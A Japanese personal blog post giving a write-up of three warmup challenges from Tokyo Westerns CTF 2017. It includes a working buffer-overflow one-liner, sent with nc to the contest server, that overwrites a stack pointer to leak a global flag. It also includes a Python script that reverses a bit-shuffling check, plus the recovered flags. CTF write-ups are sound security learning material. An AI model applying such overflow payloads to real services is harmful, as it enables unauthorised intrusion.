1日ひとつだけ強くなる

おべんきょうのーと

Tokyo Westerns CTF 3rd 2017 writeup

はじめに

2日間大学の集中講義でJAISTにいたので一人でゆっくり参加しようと思ったが、バイト先の先輩同期でチーム組んで参加してた。

チームiで得点は146点、180位だった。うちWelcome!とrev_rev_revとjust do it!を解いて59点入れた。精進したい。

pwn warmup: just do it!

pwnのwarmup問題。実行するとパスワードを聞かれる。0x20バイトだけfgets()で読んでいるが、スタックに間違った時にputs()で表示される文字列が積んであり、スタックに積まれたバッファのアドレスと0x14バイトしかない。また、bssセクションを読むとflagという領域があって、どうやらグローバル変数flagにフラグの内容を書き込んでいるっぽい。なので、0x14バイト+flagのアドレスを入力すればいい。

> python -c "print 'A'*0x14 + '\x80\xa0\x04\x08'" | nc pwn1.chal.ctf.westerns.tokyo 12482
Welcome my secret service. Do you know the password?
Input the password.
TWCTF{pwnable_warmup_I_did_it!}

rev warmup: rev_rev_rev

アセンブルしたものを読むと、1つ目の関数は文字列の長さ取得、2つめは文字列を逆順に変換、3つめは入力文字1バイト(c)ずつに対して以下の処理

c = ((c & 0x55) << 1) | ((c >> 1) & 0x55)
c = ((c & 0x33) << 2) | ((c >> 2) & 0x33)
c = ((c & 0xFF) << 4) | ((c >> 4) & 0xFF)

4つめはちゃんとデコンパイルしてないけど、途中3つ目の関数デコンパイルして4つ目の関数調べてる最中に、1バイトずつ処理してる上に他の入力に依存しないじゃん!と思って、全部の文字を変換してみた。出力はltrace使うと見れる上、strcmp()で比較している文字も確認できる。pythonに渡して脳死スクリプト書いたらフラグが降ってきた。

# -*- coding:utf-8 -*-

s = 'abcdefghijklmnopqrstuvwxyz'
s_k = "\241a\341\021\221Q\3211\261q\361\t\211I\311)\251i\351\031\231Y\3319\271y"

dict = {}
for i in range(len(s)):
    dict[s_k[i]] = s[- i - 1]

S = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
S_k = "\245e\345\025\225U\3255\265u\365\r\215M\315-\255m\355\035\235]\335=\275}"

for i in range(len(S)):
    dict[S_k[i]] = S[- i - 1]

N = "~`!@#$%^&*()_+1234567890-="
N_k = "CK\363c\343\023\223S\3233\263s+\005k\353\253\233\205[\333;\375{\371\201"

for i in range(len(S)):
    dict[N_k[i]] = N[- i - 1]

flag = ''
flag_k = "A)\331e\241\361\341\311\031\t\223\023\241\t\271I\271\211\335a1i\241\361q!\235\325=\025\325"

dict['A'] = '}'
dict['!'] = '{'

for i in range(31):
    flag += dict[flag_k[i]]

print(flag[::-1])
> python3 solve.py 
TWCTF{qpzisyDnbmboz76oglxpzYdk}